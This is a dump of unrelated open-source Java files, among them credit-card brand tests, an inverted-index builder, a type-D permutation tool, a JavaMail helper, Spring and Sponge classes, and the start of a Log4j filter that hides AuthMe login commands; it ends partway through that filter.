@Test
public void verificaCartaoVisaInformandoCartaoAmex() {
String validCard = "376411112222331";
assertFalse(VisaCreditCard.isBrandVisa(validCard));
}
@Test
public void verificaCartaoVisaInformandoCartaoDiners() {
String validCard = "30111122223331";
assertFalse(VisaCreditCard.isBrandVisa(validCard));
}
@Test
public void verificaCartaoVisaInformandoCartaoHiper() {
String validCard = "6370950000000005";
assertFalse(VisaCreditCard.isBrandVisa(validCard));
}
@Test
public void verificaCartaoVisaInformandoCartaoHipercard() {
String validCard = "6062825624254001";
assertFalse(VisaCreditCard.isBrandVisa(validCard));
}
@Test
public void verificaCartaoVisaInformandoCartaoElo() {
String validCard = "6362970000457013";
assertFalse(VisaCreditCard.isBrandVisa(validCard));
}
@Test
public void verificaCartaoVisaInvalido() {
String invalidCard = "407302";
assertFalse(VisaCreditCard.isBrandVisa(invalidCard));
}
@Test
public void verificaCartaoVisaComLetra() {
String invalidCard = "40730200000qwe02";
assertFalse(VisaCreditCard.isBrandVisa(invalidCard));
}
@Test
public void verificaCartaoVisarComCaracterEspecial() {
String invalidCard = "40730-*/20000000002";
assertFalse(VisaCreditCard.isBrandVisa(invalidCard));
}
@Test
public void verificaSeCartaoVisaEhNulo() {
String nullableCard = null;
assertFalse(VisaCreditCard.isBrandVisa(nullableCard));
}
@Test
public void verificaSeCartaoVisaEhVazio() {
String emptyCard = "";
assertFalse(VisaCreditCard.isBrandVisa(emptyCard));
}
} | mit |
owwlo/InvertedIndexBuilder | src/org/owwlo/InvertedIndexing/examples/IvtiBuild.java | 6156 |
package org.owwlo.InvertedIndexing.examples;
import java.io.File;
import java.io.IOException;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Random;
import org.owwlo.InvertedIndexing.InvertedIndexBuilder;
import org.owwlo.InvertedIndexing.InvertedIndexBuilder.IvtMapInteger;
public class IvtiBuild {
public static Random rand = new Random();
public static String getRandomString(int length) {
String alphabet = "abcdefghijklmnopqr";
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; i++) {
sb.append(alphabet.charAt(rand.nextInt(alphabet.length())));
}
return sb.toString();
}
public static void cleanUpDirectory(File dir) {
dir.mkdirs();
for (File file : dir.listFiles()) {
file.delete();
}
}
public static void printList(List<Integer> l) {
for (int i : l) {
System.out.print(i + " ");
}
System.out.println();
}
public static void main(String[] aregs) throws IOException {
long start_t = System.currentTimeMillis();
final int fakeFileCount = 10228;
final int fakePassageLength = 2000;
final int termMaxLength = 5;
final int filesPerBatch = 1000;
String randPickToken = null;
// Set directory which the indexes will be writen to.
File dir = new File("test");
// Remove all files in this directory.
cleanUpDirectory(dir);
// Create an instance of InvertedIndexBuilder.
InvertedIndexBuilder builder = InvertedIndexBuilder.getBuilder(dir);
// Divide the whole task into parts.
// This also allow you to process files with multiple threads.
for (int batchNum = 0; batchNum < fakeFileCount / filesPerBatch + 1; batchNum++) {
int fileIdStart = batchNum * filesPerBatch;
int fileIdEnd = (batchNum + 1) * filesPerBatch;
if (fileIdEnd > fakeFileCount) {
fileIdEnd = fakeFileCount;
}
System.out.println("Processing files from " + fileIdStart + " to " + fileIdEnd);
// Create a Inverted Index Map.
IvtMapInteger ivtMapBatch = builder.createDistributedIvtiIntegerMap();
// This is used to collect result for each batch.
Map<String, List<Integer>> ivtMap = new LinkedHashMap<String, List<Integer>>();
// Simulation of processing each file.
for (int docId = fileIdStart; docId < fileIdEnd; docId++) {
// Record Inverted Index for each article.
Map<String, List<Integer>> ivtMapItem = new HashMap<String, List<Integer>>();
for (int tokenIdx = 0; tokenIdx < fakePassageLength; tokenIdx++) {
String token = getRandomString(rand.nextInt(termMaxLength) + 1);
// Randomly chose a token for test purpose.
if (docId >= fileIdEnd / 2 && randPickToken == null
&& token.length() >= termMaxLength * 0.75) {
randPickToken = token;
System.out.println("Chose token for test: " + randPickToken);
}
if (!ivtMapItem.containsKey(token)) {
ivtMapItem.put(token, new LinkedList<Integer>());
}
ivtMapItem.get(token).add(tokenIdx);
}
// Put collected data into ivtMap.
for (String token : ivtMapItem.keySet()) {
if (!ivtMap.containsKey(token)) {
ivtMap.put(token, new LinkedList<Integer>());
}
List<Integer> recordList = ivtMap.get(token);
for (int idx : ivtMapItem.get(token)) {
recordList.add(docId);
recordList.add(idx);
}
}
// Ensure randPickToken will be assigned with a value.
if (randPickToken == null) {
randPickToken = ivtMap.keySet().iterator().next();
System.out.println("Chose token for test: " + randPickToken);
}
}
if (ivtMap.containsKey(randPickToken)) {
List<Integer> testList = ivtMap.get(randPickToken);
System.out.println("Posting List in batch " + batchNum + " for token '"
+ randPickToken
+ "':");
printList(testList);
}
System.out.println("Batch building done. Elapsed: "
+ (System.currentTimeMillis() - start_t) / 1000.0 + "s");
// Build Inverted Index for one batch.
ivtMapBatch.putAll(ivtMap);
ivtMapBatch.close();
System.out.println("Batch commit done. Elapsed: "
+ (System.currentTimeMillis() - start_t) / 1000.0 + "s");
}
System.out.println("Start constructing secondary index. Elapsed: "
+ (System.currentTimeMillis() - start_t) / 1000.0 + "s");
// IMPORTANT!!!!
// Ensure everything will be on disk.
builder.close();
System.out.println("Construct done. Elapsed: " + (System.currentTimeMillis() - start_t)
/ 1000.0 + "s");
System.out.println("Reopen for verifing. Elapsed: "
+ (System.currentTimeMillis() - start_t) / 1000.0 + "s");
// Re-open index to verify.
builder = InvertedIndexBuilder.getBuilder(dir);
IvtMapInteger reopenedMap = builder.getUnifiedDistributedIvtiIntegerMap();
List<Integer> lst = reopenedMap.get(randPickToken);
System.out.println("Reopen and retrive Posting List for token '" + randPickToken
+ "':");
printList(lst);
System.out.println("All done. Elapsed: " + (System.currentTimeMillis() - start_t)
/ 1000.0 + "s");
}
}
| mit |
CallmeTorre/APAIEEE | src/java/root/rootCambio.java | 487 | package root;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class rootCambio extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
utils.coreRoot.colocaEditarDatos(request, response);
}
}
| mit |
dachengxi/spring1.1.1_source | test/org/springframework/web/util/ExpressionEvaluationUtilsTestSuite.java | 2919 | /*
* Copyright 2002-2004 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.web.util;
import javax.servlet.jsp.PageContext;
import junit.framework.TestCase;
import org.springframework.mock.web.MockPageContext;
/**
* @author Aled Arendsen
* @since 16.09.2003
*/
public class ExpressionEvaluationUtilsTestSuite extends TestCase {
public void testIsExpressionLanguage() {
// should be true
String expr = "${bla}";
assertTrue(ExpressionEvaluationUtils.isExpressionLanguage(expr));
// should be true
expr = "bla${bla}";
assertTrue(ExpressionEvaluationUtils.isExpressionLanguage(expr));
// should be false
expr = "bla{bla";
assertFalse(ExpressionEvaluationUtils.isExpressionLanguage(expr));
// should be false
expr = "bla$b{";
assertFalse(ExpressionEvaluationUtils.isExpressionLanguage(expr));
// ok, tested enough ;-)
}
public void testEvaluate() throws Exception {
PageContext ctx = new MockPageContext();
ctx.setAttribute("bla", "blie");
String expr = "${bla}";
Object o = ExpressionEvaluationUtils.evaluate("test", expr, String.class, ctx);
assertEquals(o, "blie");
assertEquals(new String("test"),
ExpressionEvaluationUtils.evaluate("test", "test", Float.class, ctx));
}
public void testEvaluateString() throws Exception {
PageContext ctx = new MockPageContext();
ctx.setAttribute("bla", "blie");
String expr = "${bla}";
Object o = ExpressionEvaluationUtils.evaluateString("test", expr, ctx);
assertEquals(o, "blie");
assertEquals("blie", ExpressionEvaluationUtils.evaluateString("test", "blie", ctx));
}
public void testEvaluateInteger() throws Exception {
PageContext ctx = new MockPageContext();
ctx.setAttribute("bla", new Integer(1));
String expr = "${bla}";
int i = ExpressionEvaluationUtils.evaluateInteger("test", expr, ctx);
assertEquals(i, 1);
assertEquals(21, ExpressionEvaluationUtils.evaluateInteger("test", "21", ctx));
}
public void testEvaluateBoolean() throws Exception {
PageContext ctx = new MockPageContext();
ctx.setAttribute("bla", new Boolean(true));
String expr = "${bla}";
boolean b = ExpressionEvaluationUtils.evaluateBoolean("test", expr, ctx);
assertEquals(b, true);
assertEquals(true, ExpressionEvaluationUtils.evaluateBoolean("test", "true", ctx));
}
}
| mit |
ikbenpinda/uitstelgedrag_android | app/src/main/java/achan/nl/uitstelgedrag/persistence/definitions/Column.java | 1136 | package achan.nl.uitstelgedrag.persistence.definitions;
import android.util.Log;
/**
* Created by Etienne on 3-4-2016.
*/
public class Column {
public String name;
public String type; // todo - @string-def
public String constraints; // todo - @string-def
public Column(String name, String type, String constraints) {
this.name = name;
this.type = type;
this.constraints = constraints;
}
/**
* Default constructor for columns without constraints.
* Constraints will default to "NULL".
* @param name
* @param type
*/
public Column(String name, String type) {
this.name = name;
this.type = type;
this.constraints = "NULL";
}
public String describe(){
String description = String.format("%s %s %s ", name, type, constraints);
Log.i("Column", "Describing " + name + ":" + description);
return description;
}
@Override
public String toString() {
// todo differentiate from describe.
//return String.format("%s %s %s", name, type, constraints);
return name;
}
}
| mit |
sauce-code/chess | src/gui/Main.java | 101 | package gui;
public class Main {
public static void main(String[] args) {
Gui.main(args);
}
}
| mit |
MasatoKokubo/Lightsleep | src/test/java/org/lightsleep/test/entity/Node.java | 1010 | // Contact.java
// (C) 2016 Masato Kokubo
package org.lightsleep.test.entity;
/**
* The entity of Node table.
*/
public class Node extends Common {
/** Parent ID */
private int parentId;
/** Name */
private String name;
/**
* Constructs a Node.
*/
public Node() {
}
/**
* Constructs a Node.
*
* @param parentId the parent id
* @param name the name
*/
public Node(int parentId, String name) {
this.parentId = parentId;
this.name = name;
}
/**
* @return the parentId
*/
public int getParentId() {
return parentId;
}
/**
* @param parentId the parentId to set
*/
public void setParentId(int parentId) {
this.parentId = parentId;
}
/**
* @return the name
*/
public String getName() {
return name;
}
/**
* @param name the name to set
*/
public void setName(String name) {
this.name = name;
}
}
| mit |
Vihekie/DSDM2 | Tudão/MyApplication/app/src/main/java/com/example/ifc/myapplication/Main2Activity.java | 1013 | package com.example.ifc.myapplication;
import android.app.Activity;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.TextView;
public class Main2Activity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main2);
Intent in = getIntent();
Bundle bd = in.getExtras();
double nota1= bd.getDouble("NOTA1");
double nota2 = bd.getDouble("NOTA2");
double nota3 = bd.getDouble("NOTA3");
double peso1 = bd.getDouble("PESO1");
double peso2 = bd.getDouble("PESO2");
double peso3= bd.getDouble("PESO3");
double resultado = ((nota1*peso1)+(nota2*peso2)+(nota3*peso3))/(peso1+peso2+peso3);
Intent in2 = new Intent();
in2.putExtra("RESULTADO",resultado);
setResult(Activity.RESULT_OK, in2);
finish();
}
}
| mit |
wpinnoo/PharmaApp | src/mobi/pharmaapp/util/Location.java | 744 | package mobi.pharmaapp.util;
import mobi.pharmaapp.models.UserModel;
/**
*
* @author see /AUTHORS
*/
public class Location {
private float lat;
private float lon;
public Location(float lat, float lon) {
this.lat = lat;
this.lon = lon;
}
@Override
public String toString() {
return "[" + lat + "," + lon + "]";
}
public float getLat() {
return lat;
}
public float getLon() {
return lon;
}
public float distanceTo(Location l) {
return (float) (Math.sqrt(Math.pow(2, getLat() - UserModel.getInstance().getCurrentLocation().getLat())
+ Math.pow(2, getLon() - UserModel.getInstance().getCurrentLocation().getLon())));
}
}
| mit |
jSpike/Spring4_Samples | SampleSecurityService/src/main/java/com/jspike/springboot/securitysample/Controller.java | 911 | /**
*
*/
package com.jspike.springboot.securitysample;
import org.apache.commons.codec.binary.Base64;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpMethod;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
/**
* @author hariram
*
*/
@RestController
public class Controller {
@RequestMapping(method=RequestMethod.GET, value="/get")
public String get(@RequestParam(defaultValue="unknown", value="name", required=false) String name) {
return "Hello " + name;
}
}
| mit |
kamcio96/SpongeCommon | src/main/java/org/spongepowered/common/data/manipulator/mutable/block/SpongeLayeredData.java | 2442 | /*
* This file is part of Sponge, licensed under the MIT License (MIT).
*
* Copyright (c) SpongePowered <https://www.spongepowered.org>
* Copyright (c) contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.spongepowered.common.data.manipulator.mutable.block;
import static org.spongepowered.common.data.util.ComparatorUtil.intComparator;
import org.spongepowered.api.data.key.Keys;
import org.spongepowered.api.data.manipulator.immutable.block.ImmutableLayeredData;
import org.spongepowered.api.data.manipulator.mutable.block.LayeredData;
import org.spongepowered.api.data.value.mutable.MutableBoundedValue;
import org.spongepowered.common.data.manipulator.immutable.block.ImmutableSpongeLayeredData;
import org.spongepowered.common.data.manipulator.mutable.common.AbstractBoundedComparableData;
public class SpongeLayeredData extends AbstractBoundedComparableData<Integer, LayeredData, ImmutableLayeredData> implements LayeredData {
public SpongeLayeredData() {
this(0);
}
public SpongeLayeredData(int value) {
this(value, 0, 8);
}
public SpongeLayeredData(int value, int lowerBound, int upperBound) {
super(LayeredData.class, value, Keys.LAYER, intComparator(), ImmutableSpongeLayeredData.class, lowerBound, upperBound, 0);
}
@Override
public MutableBoundedValue<Integer> layer() {
return getValueGetter();
}
}
| mit |
yangdd1205/spring-boot | spring-boot-project/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/mustache/MustacheEnvironmentCollector.java | 2854 | /*
* Copyright 2012-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.autoconfigure.mustache;
import com.samskivert.mustache.DefaultCollector;
import com.samskivert.mustache.Mustache.Collector;
import com.samskivert.mustache.Mustache.VariableFetcher;
import com.samskivert.mustache.Template;
import org.springframework.context.EnvironmentAware;
import org.springframework.core.env.ConfigurableEnvironment;
import org.springframework.core.env.Environment;
/**
* Mustache {@link Collector} to expose properties from the Spring {@link Environment}.
*
* @author Dave Syer
* @author Madhura Bhave
* @since 1.2.2
*/
public class MustacheEnvironmentCollector extends DefaultCollector implements EnvironmentAware {
private ConfigurableEnvironment environment;
@Override
public void setEnvironment(Environment environment) {
this.environment = (ConfigurableEnvironment) environment;
}
@Override
public VariableFetcher createFetcher(Object ctx, String name) {
VariableFetcher nativeFetcher = super.createFetcher(ctx, name);
if (nativeFetcher != null) {
return new PropertyVariableFetcher(nativeFetcher);
}
if (this.environment.containsProperty(name)) {
return new PropertyVariableFetcher();
}
return null;
}
/**
* {@link VariableFetcher} that also checks the {@link Environment}.
*/
private class PropertyVariableFetcher implements VariableFetcher {
private final VariableFetcher nativeFetcher;
PropertyVariableFetcher() {
this.nativeFetcher = null;
}
PropertyVariableFetcher(VariableFetcher delegate) {
this.nativeFetcher = delegate;
}
@Override
public Object get(Object ctx, String name) {
Object result = getFromNativeFetcher(ctx, name);
result = (result != null) ? result : getFromEnvironment(name);
return (result != null) ? result : Template.NO_FETCHER_FOUND;
}
private Object getFromNativeFetcher(Object ctx, String name) {
try {
Object result = (this.nativeFetcher != null) ? this.nativeFetcher.get(ctx, name) : null;
return (result != Template.NO_FETCHER_FOUND) ? result : null;
}
catch (Exception ex) {
return null;
}
}
private Object getFromEnvironment(String name) {
return MustacheEnvironmentCollector.this.environment.getProperty(name);
}
}
}
| mit |
krisjin/common-util | luban-common/src/main/java/org/luban/common/mail/MailUtil.java | 5515 | package org.luban.common.mail;
import com.google.common.base.Strings;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.activation.FileDataSource;
import javax.mail.*;
import javax.mail.internet.*;
import java.util.Date;
import java.util.Properties;
/**
* 邮件工具类
*
* @author shijingui
* @date 2014-5-23下午4:16:22
*/
public final class MailUtil {
private static final String MAIL_HOST_PROP = "mail.smtp.host";
private static final String MAIL_AUTH_PROP = "mail.smtp.auth";
/**
* 发送文本邮件
*
* @param info
* @throws Exception
*/
public static void sendTextMail(MailInfo info) throws Exception {
Properties props = new Properties();
props.put(MAIL_HOST_PROP, info.getServerHost());
props.put(MAIL_AUTH_PROP, info.isAuth());
Authenticator auth = getAuthenticator(info);
Session session = Session.getDefaultInstance(props, auth);
MimeMessage message = new MimeMessage(session);
message.setSentDate(new Date());
Address address = new InternetAddress(info.getFrom(), info.getMailName());
message.setFrom(address);
String mailTo = info.getTo();
String[] mailsTo = mailTo.split(",");
InternetAddress[] mailToAddress = new InternetAddress[mailsTo.length];
for (int i = 0; i < mailsTo.length; i++) {
mailToAddress[i] = new InternetAddress(mailsTo[i]);
}
message.setRecipients(Message.RecipientType.TO, mailToAddress);
message.setSubject(info.getSubject());
message.setText(info.getBody());
Transport.send(message);
}
/**
* 发送HTML格式邮件
*
* @param info
* @throws Exception
*/
public static void sendHtmlEmail(MailInfo info) throws Exception {
Properties props = new Properties();
props.put(MAIL_HOST_PROP, info.getServerHost());
props.put(MAIL_AUTH_PROP, info.isAuth());
Authenticator auth = getAuthenticator(info);
Session session = Session.getDefaultInstance(props, auth);
Multipart multipart = new MimeMultipart();
BodyPart html = new MimeBodyPart();
MimeMessage message = new MimeMessage(session);
message.setSentDate(new Date());
Address address = new InternetAddress(info.getFrom(), info.getMailName());
message.setFrom(address);
String mailTo = info.getTo();
String[] mailsTo = mailTo.split(",");
InternetAddress[] mailToAddress = new InternetAddress[mailsTo.length];
for (int i = 0; i < mailsTo.length; i++) {
mailToAddress[i] = new InternetAddress(mailsTo[i]);
}
message.setRecipients(Message.RecipientType.TO, mailToAddress);
message.setSubject(info.getSubject());
html.setContent(info.getBody(), "text/html; charset=utf-8");
multipart.addBodyPart(html);
message.setContent(multipart);
Transport.send(message);
}
/**
* 发送带附件的邮件
*
* @param info
* @param filePath
* @throws Exception
*/
public static void sendAttachEmail(MailInfo info, String[] filePath) throws Exception {
Properties props = new Properties();
props.put(MAIL_HOST_PROP, info.getServerHost());
props.put(MAIL_AUTH_PROP, info.isAuth());
Authenticator auth = null;
if (info.isAuth()) {
auth = new MailAuthenticator(info.getUsername(), info.getPassword());
}
Session session = Session.getDefaultInstance(props, auth);
Message msg = new MimeMessage(session);
msg.setSentDate(new Date());
msg.setFrom(new InternetAddress(info.getFrom(), info.getUsername()));
msg.setSubject(info.getSubject());
String[] mailsTo = info.getTo().split(",");
InternetAddress[] mailToAddress = new InternetAddress[mailsTo.length];
for (int i = 0; i < mailsTo.length; i++) {
mailToAddress[i] = new InternetAddress(mailsTo[i]);
}
msg.setRecipients(Message.RecipientType.TO, mailToAddress);
Multipart multipart = new MimeMultipart();
BodyPart body = new MimeBodyPart();
body.setContent(info.getBody(), "text/html; charset=utf-8");
multipart.addBodyPart(body);
for (int i = 0; i < filePath.length; i++) {
BodyPart bodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(filePath[i]);
bodyPart.setDataHandler(new DataHandler(source));
String fileName = MimeUtility.encodeWord(filePath[i].substring(filePath[i].lastIndexOf("/") + 1));
// if(fileName.lastIndexOf(".") !=-1){
// fileName=fileName.substring(0, fileName.lastIndexOf("."));
// }
bodyPart.setFileName(fileName);
multipart.addBodyPart(bodyPart);
}
msg.setContent(multipart);
Transport.send(msg);
}
private static Authenticator getAuthenticator(MailInfo mailInfo) {
if (mailInfo == null)
throw new NullPointerException("Mail info is null");
if (Strings.isNullOrEmpty(mailInfo.getUsername()) || Strings.isNullOrEmpty(mailInfo.getPassword()))
throw new IllegalArgumentException("Mail username or password is null");
Authenticator authenticator = new MailAuthenticator(mailInfo.getUsername(), mailInfo.getPassword());
return authenticator;
}
}
| mit |
edunola13/uiservices-api-java | src/com/tags/jsf/Project.java | 757 | package com.tags.jsf;
import java.io.IOException;
import javax.faces.component.FacesComponent;
import javax.faces.component.UIComponentBase;
import javax.faces.context.FacesContext;
import com.ui.ApiUi;
@FacesComponent(createTag = true, namespace="http://www.edunola.com.ar/uicomponents", tagName="setProject", value="setProject")
public class Project extends UIComponentBase{
private String name= "bootstrap3";
@Override
public String getFamily() {
return "EnolaUIServices";
}
@Override
public void encodeBegin(FacesContext context) throws IOException {
ApiUi.setProject(this.getName());
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
| mit |
tygern/BuildDomino | src/main/java/BuildDomino.java | 10154 | /**
* Copyright (c) 2012 by Tyson Gern
* Licensed under the MIT License
*/
import java.io.*;
class BuildDomino {
public static int rankBound = 3;
public static String inputLine = "> ";
public static String secondaryInputLine = ">> ";
public static String notFound = "command not found";
public static String permLeft = "\\[";
public static String permRight = "\\]";
public static String exprLeft = "\\(";
public static String exprRight = "\\)";
public static void main(String[] args) {
TypeD w = null;
intro();
while(true) {
w = prompt(w);
}
}
public static int[] getArray(String left, String right) throws NumberFormatException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String userInput = null;
while (userInput == null) {
try {
userInput = br.readLine();
}
catch (IOException e) {
System.out.println("Error, try again.");
}
}
String[] items = userInput.replaceAll(left, "").replaceAll(right, "").split(",");
int[] results = new int[items.length];
for (int i = 0; i < items.length; i++) {
results[i] = Integer.parseInt(items[i]);
}
return results;
}
public static int getInt(int lowBound, String message) {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String userInput = null;
int answer = lowBound - 1;
while (answer < lowBound) {
System.out.print(message);
try {
userInput = br.readLine();
}
catch (IOException e) {
System.out.println("Error!");
System.exit(1);
}
try {
answer = Integer.parseInt(userInput);
}
catch (NumberFormatException e) {
System.out.println("Invalid");
}
}
return answer;
}
public static String getString(String message) {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String userInput = null;
while (userInput == null) {
System.out.print(message);
try {
userInput = br.readLine();
}
catch (IOException e) {
System.out.println("Error!");
System.exit(1);
}
}
return userInput;
}
public static void printHelp() {
AccessFile message = new AccessFile("help.txt");
System.out.println();
message.show();
System.out.println();
}
public static void intro() {
System.out.println("");
System.out.println("BuildDomino version 0.2.");
System.out.println("Enter help if you need assistance.");
System.out.println("");
}
public static void badInput(String choice) {
System.out.println(choice + " : " + notFound);
}
public static void nullElement() {
System.out.println("Please enter an element first.");
}
public static TypeD prompt(TypeD w) {
Tableau tR = null;
TypeD wInv = null;
TypeD x = null;
Tableau tL = null;
Heap wHeap = null;
String choice, form;
if (w != null) {
tR = new Tableau(w);
wHeap = new Heap(w);
wInv = w.findInverse();
tL = new Tableau(wInv);
}
choice = getString(inputLine);
if (choice.equals("expression")) {
w = fromRE();
}
else if (choice.equals("permutation")) {
w = fromPerm();
}
else if (choice.equals("print")) {
if (w == null) nullElement();
else System.out.println(w);
}
else if (choice.equals("rightmultiply")) {
if (w == null) {
nullElement();
}
else {
System.out.println("permutation or expression?");
form = getString(secondaryInputLine);
if (form.equals("permutation")) {
x = fromPerm();
System.out.println(w.rightMultiply(x));
}
else if (form.equals("expression")) {
x = fromRE(w.getRank());
System.out.println(w.findRE().rightMultiply(x.findRE()));
}
else {
badInput(form);
}
}
}
else if (choice.equals("leftmultiply")) {
if (w == null) {
nullElement();
}
else {
System.out.println("Permutation or expression?");
form = getString(secondaryInputLine);
if (form.equals("permutation")) {
x = fromPerm();
System.out.println(w.leftMultiply(x));
}
else if (form.equals("expression")) {
x = fromRE(w.getRank());
System.out.println(w.findRE().leftMultiply(x.findRE()));
}
else {
badInput(form);
}
}
}
else if (choice.equals("reduced")) {
if (w == null) nullElement();
else System.out.println(w.findRE());
}
else if (choice.equals("length")) {
if (w == null) nullElement();
else System.out.println(w.length());
}
else if (choice.equals("descent")) {
if (w == null) nullElement();
else {
System.out.println("Right: " + w.rightDescent());
System.out.println("Left: " + w.leftDescent());
}
}
else if (choice.equals("inverse")) {
if (wInv == null) nullElement();
else System.out.println(wInv);
}
else if (choice.equals("righttikz")) {
if (tR == null) nullElement();
else tR.tikzDraw();
}
else if (choice.equals("lefttikz")) {
if (tL == null) nullElement();
else tL.tikzDraw();
}
else if (choice.equals("heaptikz")) {
if (wHeap == null) nullElement();
else wHeap.tikzDraw();
}
else if (choice.equals("rightdraw")) {
if (tR == null) nullElement();
else tR.screenDraw();
}
else if (choice.equals("leftdraw")) {
if (tL == null) nullElement();
else tL.screenDraw();
}
else if (choice.equals("heapdraw")) {
if (wHeap == null) nullElement();
else wHeap.screenDraw();
}
else if (choice.equals("bad")) {
if (tL == null) nullElement();
else System.out.println(w.isBad());
}
else if (choice.equals("help")) {
printHelp();
}
else if (choice.equals("quit") || choice.equals("q") || choice.equals("exit")) {
System.exit(0);
}
else {
badInput(choice);
}
return w;
}
public static TypeD fromRE() {
int rank;
int[] intArray = null;
int highGenerator = 0;
TypeDExpression wCox = null;
while (wCox == null) {
while (intArray == null) {
System.out.print("Enter an element in terms of generators: \n" + secondaryInputLine);
try {
intArray = getArray(exprLeft, exprRight);
}
catch (NumberFormatException nfe) {
System.out.println("Please input a list of positive integers separated by commas.");
}
}
rank = getInt(rankBound, "Rank: \n" + secondaryInputLine);
try {
wCox = new TypeDExpression(intArray, rank);
}
catch (NumberFormatException nfe) {
System.out.println("Invalid element");
intArray = null;
}
}
TypeD w = wCox.toPermutation();
return w;
}
public static TypeD fromRE(int rank) {
int[] intArray = null;
int highGenerator = 0;
TypeDExpression wCox = null;
while (wCox == null) {
while (intArray == null) {
System.out.print("Enter an element of rank " + rank + " in terms of generators: \n" + secondaryInputLine);
try {
intArray = getArray(exprLeft, exprRight);
}
catch (NumberFormatException nfe) {
System.out.println("Please input a list of positive integers separated by commas.");
}
}
try {
wCox = new TypeDExpression(intArray, rank);
}
catch (NumberFormatException nfe) {
System.out.println("Invalid element");
intArray = null;
}
}
TypeD w = wCox.toPermutation();
return w;
}
public static TypeD fromPerm() {
int rank = -1;
TypeD w = null;
int[] intArray = null;
while (w == null) {
System.out.print("Enter a signed permutation: \n" + secondaryInputLine);
try {
intArray = getArray(permLeft, permRight);
}
catch (NumberFormatException nfe) {
System.out.println("Please input a list of integers separated by commas.");
}
if (intArray != null) {
try {
w = new TypeD(intArray);
}
catch (IllegalArgumentException iae) {
System.out.println("Please use a valid signed permutation.");
}
}
}
return w;
}
} | mit |
dirtyfilthy/bitcoin-wallet | src/net/dirtyfilthy/bitcoin/protocol/GetDataPacket.java | 276 | package net.dirtyfilthy.bitcoin.protocol;
public class GetDataPacket extends InventoryPacket {
public GetDataPacket() {
super();
command="getdata";
}
public GetDataPacket(long ver) {
super(ver);
command="getdata";
// TODO Auto-generated constructor stub
}
}
| mit |
rwaldron/es6draft | src/main/java/com/github/anba/es6draft/ast/Declaration.java | 551 | /**
* Copyright (c) 2012-2014 André Bargull
* Alle Rechte vorbehalten / All Rights Reserved. Use is subject to license terms.
*
* <https://github.com/anba/es6draft>
*/
package com.github.anba.es6draft.ast;
/**
* <h1>13 ECMAScript Language: Statements and Declarations</h1>
* <ul>
* <li>13.1 Block
* </ul>
*/
public abstract class Declaration extends StatementListItem {
protected Declaration(long beginPosition, long endPosition) {
super(beginPosition, endPosition);
}
public abstract boolean isConstDeclaration();
}
| mit |
mcaustin1/MrTickets | src/me/Austin/MT/Managers/filters/Log4JFilter.java | 2283 | package me.Austin.MT.Managers.filters;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.Marker;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.Logger;
import org.apache.logging.log4j.core.filter.AbstractFilter;
import org.apache.logging.log4j.message.Message;
/**
* Implements a filter for Log4j to skip sensitive AuthMe commands.
*
* @author Xephi59
*/
public class Log4JFilter extends AbstractFilter {
private static final long serialVersionUID = -5594073755007974254L;
/**
* Validates a Message instance and returns the {@link Result} value
* depending on whether the message contains sensitive AuthMe data.
*
* @param message
* The Message object to verify
*
* @return The Result value
*/
private static Result validateMessage(Message message) {
if (message == null) {
return Result.NEUTRAL;
}
return validateMessage(message.getFormattedMessage());
}
/**
